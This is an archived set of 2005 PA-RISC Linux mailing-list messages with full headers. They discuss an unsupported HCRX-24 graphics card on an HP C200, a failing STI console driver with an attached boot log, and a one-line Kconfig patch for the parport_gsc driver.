From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 7 Dec 2005 11:54:38 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20051207185438.GD11417__2191.74407325244$1416624572$gmane$org@colo.lackof.org>
References: <43971676.1010009@gmail.com> <20051207180130.GB11417@colo.lackof.org> <20051207182913.GB32168@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624572 27409 80.91.229.3 (22 Nov 2014 02:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:32 +0000 (UTC)
Cc: Fabio Bizzi <fbizzi@gmail.com>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 18:46:28 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx080) with SMTP; 07 Dec 2005 19:46:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A5AE92DF26; Wed,  7 Dec 2005 12:46:23 -0600 (CST)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 918342DDD3
	for <debian-hppa@lists.debian.org>; Wed,  7 Dec 2005 12:46:17 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BC9CC36000E;
	Wed,  7 Dec 2005 11:54:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19398-08; Wed, 7 Dec 2005 11:54:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 70054360003; Wed,  7 Dec 2005 11:54:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051207182913.GB32168@quicksilver.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <CWfHbC.A.DzF._3ylDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4980
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  7 Dec 2005 12:46:23 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: UkvlYwFIeSEkIr6WZHQhaXN1IGRvbwCJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25222

On Wed, Dec 07, 2005 at 01:29:13PM -0500, Kyle McMartin wrote:
> Or the STI rom is completely broken on this card and HP-UX uses software
> instead of the firmware routines.

HPUX *never* supported this card on C-class boxes.
See page 157 (pdf page #) of C200 owners manual:
NOTICE: The A4077A Color Graphics Card, A4078A Dual Color Graphics Card,
        A4079B HCRX-8Z graphics adapter, and the A4071B HCRX-24 graphics
        adapter with the A4072A Z Accelerator attached are not supported
        in the Model C160/C180.

getting it working might be quite "challenging". :)

grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Again Troubles on My C200 :)
Date: Wed, 07 Dec 2005 11:16:50 +0100
Organization: gmail.com
Lines: 234
Approved: news@gmane.org
Message-ID: <4396B692.8070503__38222.8144830607$1416624572$gmane$org@gmail.com>
References: <438D64F0.7080307@albacom.net> <438D70C4.4080003@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------070302050001060700010402"
X-Trace: ger.gmane.org 1416624572 27414 80.91.229.3 (22 Nov 2014 02:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:32 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 10:17:00 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx046) with SMTP; 07 Dec 2005 11:17:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 4B4D02DE5A; Wed,  7 Dec 2005 04:16:54 -0600 (CST)
Old-Return-Path: <fbizzi@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.207])
	by murphy.debian.org (Postfix) with ESMTP id 4AEB92DD8C
	for <debian-hppa@lists.debian.org>; Wed,  7 Dec 2005 04:16:51 -0600 (CST)
Original-Received: by zproxy.gmail.com with SMTP id m22so301558nzf
        for <debian-hppa@lists.debian.org>; Wed, 07 Dec 2005 02:16:53 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:organization:user-agent:x-accept-language:mime-version:to:subject:references:in-reply-to:content-type;
        b=FAtfVCmJtnmOPWTgYd4jKEdAslAae48NOPM/j0xJZqwuZIPWvqfs2BxELr8cnJ1cfjtka7oV0dcYpIftbM+V/IiCHN7o9EFyWdX+Zs+Y/KwKvQ42ErFH14XsDI4uyxt72wcbeTgisXegV3VEMskE8meppNfXhzgz1ou3Bekh3H0=
Original-Received: by 10.65.205.19 with SMTP id h19mr1646839qbq;
        Wed, 07 Dec 2005 02:16:53 -0800 (PST)
Original-Received: from ?213.213.72.248? ( [213.213.72.248])
        by mx.gmail.com with ESMTP id f13sm538462qba.2005.12.07.02.16.52;
        Wed, 07 Dec 2005 02:16:53 -0800 (PST)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <438D70C4.4080003@tausq.org>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-2.5 required=4.0 tests=FVGT_m_MULTI_ODD,
	IMPRONONCABLE_1,IMPRONONCABLE_2,LDOSUBSCRIBER,MDO_CABLE_TV3,
	RCVD_BY_IP autolearn=no version=3.0.3
Resent-Message-ID: <86rd0.A.4uB.WarlDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4971
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  7 Dec 2005 04:16:54 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: ytPkYwRveSEkXL6WZHQhaXN1IGRvb8Ci
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25223

This is a multi-part message in MIME format.
--------------070302050001060700010402
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi Everybody! :)

Yesterday I've got a monitor and I've connected it to my C200.
At the boot I've selectet 1280x1024@75Hz VESA and the screen is 
correctly displayed.
The Graphic adapter is an HCRX-24 (A4071B) on GSC.
The distribution is a Sarge with etch kernel 2.6.12-1
The system boots correctly, but no one consolle is displayed on the 
monitor only a blank screen (no other problems), I've checked inittab 
and it's ok with all the consoles started!
Here some DMESG output:

Kernel command line: root=/dev/sda5 HOME=/ console=tty0 sti=8/4 
sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux

14. Coral SGC Graphics at 0xf8000000 [10/8] { 10, 0x0, 0x004, 0x00077 }

STI GSC/PCI core graphics driver Version 0.9a
     id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI init_graph failed (ret -1, errno 258)
sti: probe of 10:8 failed with error 1

Complete dmesg is attached.

I've also tried to change boot args in palo from sti=8/4 to sti=10/0 but 
  it didin't worked!

At Parisc-Linux Hardware Database is reported that Coral SGC Graphics is 
supported and the version is the same "0x0,0x4,0x77" 
(http://hwdb.parisc-linux.org/view.php?type=padevice&name=Coral%20SGC%20Graphics)

So, why this damned kernel does not initialize it? :)

PA-GURUS please help me! :)

Thanks!!!

Ciao.

	Fabio.

--------------070302050001060700010402
Content-Type: text/plain;
 name="dmesg_c200.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dmesg_c200.txt"

root
Password: 
Last login: Tue Dec  6 22:45:47 2005 on ttyS0
Linux c200 2.6.12-1-parisc #1 Tue Sep 27 10:16:14 UTC 2005 parisc GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
c200:~# dmesg 
Linux version 2.6.12-1-parisc (buildd@sarti) (gcc version 4.0.2 (Debian 4.0.1-9)) #1 Tue Sep 27 10:16:14 UTC 2005
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 000059d0 00000481 00000000 00000002 77d9d5ae 100000f0 00000008 000000b2 000000b2
vers  00000400
CPUID vers 14 rev 16 (0x000001d0)
capabilities 0x2
model 9000/782/C200+
Total Memory: 768 MB
initrd: 3fc99000-3ffee000
initrd: reserving 2fc99000-2ffee000 (mem_max 30000000)
On node 0 totalpages: 196608
  DMA zone: 196608 pages, LIFO batch:31
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: root=/dev/sda5 HOME=/ console=tty0 sti=8/4 sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 786432k available
Calibrating delay loop... 398.95 BogoMIPS (lpj=1994752)
Security Framework v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512
checking if image is initramfs...it isn't (bad gzip magic numbers); looks like an initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
2. Dino PCI Bridge at 0xf2000000 [8/0] { 13, 0x3, 0x680, 0x0000a },  additional addresses: 0xf2800000 
3. Raven U/L2 Dino RS-232 at 0xf2003000 [8/0/63] { 10, 0x0, 0x006, 0x0008c }
4. Raven+ w SE FWSCSI Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x056, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000 
5. Raven+ w SE FWSCSI Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x056, 0x0008c }
6. Raven+ w SE FWSCSI Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x056, 0x00082 }
7. Raven+ w SE FWSCSI Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x056, 0x00074 },  additional addresses: 0xffd01000 0xffd03000 
8. Raven+ w SE FWSCSI Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x056, 0x0007b }
9. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x056, 0x00084 }
10. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x056, 0x00084 }
11. U2-IOA BC GSC+ Port at 0xf203f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
12. Raven U/L2 Dino PS/2 Port at 0xf2001000 [8/1] { 10, 0x0, 0x006, 0x00096 }
13. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
14. Coral SGC Graphics at 0xf8000000 [10/8] { 10, 0x0, 0x004, 0x00077 }
15. U2-IOA BC GSC+ Port at 0xf103f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
16. Cujo PCI Bridge at 0xf1000000 [10/0] { 13, 0x1, 0x682, 0x0000a }
17. Dino RS-232 at 0xf1003000 [10/3] { 10, 0x0, 0x007, 0x0008c }
18. Raven U 200 (9000/780/C200) at 0xfffa0000 [32] { 0, 0x0, 0x59d, 0x00004 }
19. Memory at 0xfffb1000 [49] { 1, 0x0, 0x05d, 0x00009 }
CPU(s): 1 x PA8200 (PCX-U+) at 200.000000 MHz
Whole cache flush 357333 cycles, flushing 273117008 bytes 68094819 cycles
Setting cache flush threshold to 40 (1 CPUs online)
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
Cujo: No PCI devices enabled.
SCSI subsystem initialized
TC classifier action (bugs to netdev@vger.kernel.org cc hadi@cyberus.ca)
unwind_init: start = 0x1033aaa0, end = 0x1035a120, entries = 8040
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI init_graph failed (ret -1, errno 258)
sti: probe of 10:8 failed with error 1
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 20 @ 8:16:7
serio: GSC PS/2 mouse port at 0xffd08100 irq 20 @ 8:16:8
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
ttyS1 at MMIO 0xf2003800 (irq = 21) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
NET: Registered protocol family 2
input: AT Raw Set 2 keyboard on 8:16:7
IP: routing cache hash table of 8192 buckets, 64Kbytes
TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 3412KiB [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/done.
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 332k freed
sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 22
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.1
  Vendor: QUANTUM   Model: ATLAS10K2-TY367L  Rev: DA40
  Type:   Direct-Access                      ANSI SCSI revision: 03
 target0:0:6: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
 target0:0:6: asynchronous.
WIDTH IS 1
 target0:0:6: wide asynchronous.
 target0:0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
 target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: PLEXTOR   Model: CD-ROM PX-12TS    Rev: 1.02
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:3: Beginning Domain Validation
 target1:0:3: asynchronous.
 target1:0:3: Domain Validation skipping write tests
 target1:0:3: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
 target1:0:3: Ending Domain Validation
usbcore: registered new driver hub
usbcore: registered new driver usbkbd
drivers/usb/input/usbkbd.c: :USB HID Boot Protocol keyboard driver
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.01:USB HID core driver
Linux Tulip driver version 1.1.13 (December 15, 2004)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 7809 advertising 0061.
eth0: Digital DS21142/DS21143 Tulip rev 48 at 80000080, 00:60:B0:EA:14:4A, IRQ 23.
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sda: drive cache: write back
 /dev/scsi/host0/bus0/target6/lun0: p1 p2 p3 < p5 p6 >
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 3, lun 0
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
Adding 1317288k swap on /dev/sda6.  Priority:-1 extents:1
EXT3 FS on sda5, internal journal
ehci_hcd: block sizes: qh 128 qtd 96 itd 192 sitd 96
ohci_hcd: 2004 Nov 08 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi1, channel 0, id 3, lun 0,  type 5
NET: Registered protocol family 10
Disabled Privacy Extensions on device 103b367c(lo)
IPv6 over IPv4 tunneling driver
eth0: no IPv6 routers present
c200:~# uname -a
Linux c200 2.6.12-1-parisc #1 Tue Sep 27 10:16:14 UTC 2005 parisc GNU/Linux
c200:~# 
--------------070302050001060700010402--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parport_gsc unuseable
Date: Tue, 6 Dec 2005 20:59:02 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20051206205902.4cb1290d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Tue__6_Dec_2005_20_59_02_+0100_EJd8LEQoT6L6i8Uz"
X-Trace: ger.gmane.org 1416624572 27417 80.91.229.3 (22 Nov 2014 02:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 19:56:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 06 Dec 2005 20:56:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EC5F7D6C6;
	Tue,  6 Dec 2005 12:56:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25005-05; Tue, 6 Dec 2005 12:56:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 020AE7D6D2;
	Tue,  6 Dec 2005 12:56:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55D747D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 12:56:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25005-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 12:56:02 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C77647D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 12:56:02 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 85F39495543; Tue,  6 Dec 2005 12:56:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from outmx016.isp.belgacom.be (outmx016.isp.belgacom.be
	[195.238.2.115]) by palinux.hppa (Postfix) with ESMTP id 1FE70494007
	for <parisc-linux@parisc-linux.org>;
	Tue,  6 Dec 2005 12:56:01 -0700 (MST)
Original-Received: from outmx016.isp.belgacom.be (localhost [127.0.0.1])
	by outmx016.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jB6JtuGp026618
	for <parisc-linux@parisc-linux.org>; Tue, 6 Dec 2005 20:55:56 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from ibiza.lln.tuxicoman.be (152-83.244.81.adsl.skynet.be
	[81.244.83.152])
	by outmx016.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jB6JtsbC026608
	for <parisc-linux@parisc-linux.org>; Tue, 6 Dec 2005 20:55:54 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from bleh.lln.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.lln.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.50) id 1Ejiuo-0007eZ-9x
	for parisc-linux@parisc-linux.org; Tue, 06 Dec 2005 20:55:54 +0100
X-Mailer: Sylpheed version 1.0.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ionnY55zeSEkR76WZHQhaXN1IGRvbwD/
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25224

This is a multi-part message in MIME format.

--Multipart=_Tue__6_Dec_2005_20_59_02_+0100_EJd8LEQoT6L6i8Uz
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi all,

Since 2.6.12, the parport_gsc driver is not useable due to some changes in the parport driver.
A 'select PARPORT_NOT_PC' line in the Kconfig was added to every non-pc driver but the gsc one.

Patching the kernel with the attached fix makes the parport driver working again.

Happy printing :)

  Guy

--Multipart=_Tue__6_Dec_2005_20_59_02_+0100_EJd8LEQoT6L6i8Uz
Content-Type: text/x-patch;
 name="parport_gsc-PARPORT_NOT_PC.diff"
Content-Disposition: attachment;
 filename="parport_gsc-PARPORT_NOT_PC.diff"
Content-Transfer-Encoding: 7bit

diff -uNr linux-2.6.14.orig/drivers/parport/Kconfig linux-2.6.14/drivers/parport/Kconfig
--- linux-2.6.14.orig/drivers/parport/Kconfig	2005-12-06 20:38:34.000000000 +0100
+++ linux-2.6.14/drivers/parport/Kconfig	2005-12-06 20:41:22.000000000 +0100
@@ -121,6 +121,7 @@
 	tristate
 	default GSC
 	depends on PARPORT
+	select PARPORT_NOT_PC
 
 config PARPORT_SUNBPP
 	tristate "Sparc hardware (EXPERIMENTAL)"

--Multipart=_Tue__6_Dec_2005_20_59_02_+0100_EJd8LEQoT6L6i8Uz
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Tue__6_Dec_2005_20_59_02_+0100_EJd8LEQoT6L6i8Uz--



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 07 Dec 2005 20:16:17 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <43973501.5080005@broadpark.no>
References: <43971676.1010009@gmail.com>
	<20051207180130.GB11417@colo.lackof.org> <43972408.1020708@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624573 27419 80.91.229.3 (22 Nov 2014 02:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Fabio Bizzi <fbizzi@gmail.com>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 19:18:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
